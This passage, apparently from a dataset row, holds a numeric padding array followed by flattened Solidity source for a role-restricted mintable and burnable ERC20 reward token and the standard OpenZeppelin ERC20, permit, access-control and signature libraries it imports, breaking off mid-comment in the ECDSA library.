-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity =0.8.10;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./interfaces/IMintableERC20.sol";
import "./interfaces/IBurnableERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @notice This token contract is minted as a reward by staking
* NFTs based on TokenRewardStaking contract
* and is burned when merging TokenRewardStaking
* or adding accessories to them
*
* @dev Supports minting new tokens to an address
* from authorized addresses restricted by
* the `MINTER_ROLE` role
*
* @dev Supports burning tokens from an address from
* authorized addresses restricted by the
* `BURNER_ROLE` role
*
* @dev Supports EIP-2612 permits for gas-less approvals
*/
contract MintableBurnableERC20 is ERC20, ERC20Permit, IMintableERC20, IBurnableERC20, AccessControl {
/**
* @notice AccessControl role that allows other EOAs or contracts
* to mint tokens
*
* @dev Checked in mint()
*/
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/**
* @notice AccessControl role that allows other EOAs or contracts
* to burn tokens
*
* @dev Checked in burn()
*/
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `BURNER_ROLE` to the
* account that deploys the contract.
*
* @param _name Full name of the NFT
* @param _symbol Symbol of the NFT
*
* See {ERC20-constructor}.
*/
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) ERC20Permit(_name) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(BURNER_ROLE, _msgSender());
}
/**
* @dev Mints new tokens to an address
*
* @dev Restricted by `MINTER_ROLE` role
*
* @param _to the address the new tokens will be minted to
* @param _amount how many new tokens will be minted
*/
function mint(address _to, uint256 _amount) public {
require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint");
_mint(_to, _amount);
}
/**
* @dev Burns some tokens from an address
*
* @dev Restricted by `BURNER_ROLE` role
*
* @param _from the address the tokens will be burned from
* @param _amount how many tokens will be burned
*/
function burn(address _from, uint256 _amount) public {
require(hasRole(BURNER_ROLE, _msgSender()), "must have burner role to burn");
_burn(_from, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice ERC20-compliant interface with added
* function for minting new tokens to addresses
*
* See {IERC20}
*/
interface IMintableERC20 is IERC20 {
/**
* @dev Allows issuing new tokens to an address
*
* @dev Should have restricted access
*/
function mint(address _to, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice ERC20-compliant interface with added
* function for burning tokens from addresses
*
* See {IERC20}
*/
interface IBurnableERC20 is IERC20 {
/**
* @dev Allows burning tokens from an address
*
* @dev Should have restricted access
*/
function burn(address _from, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
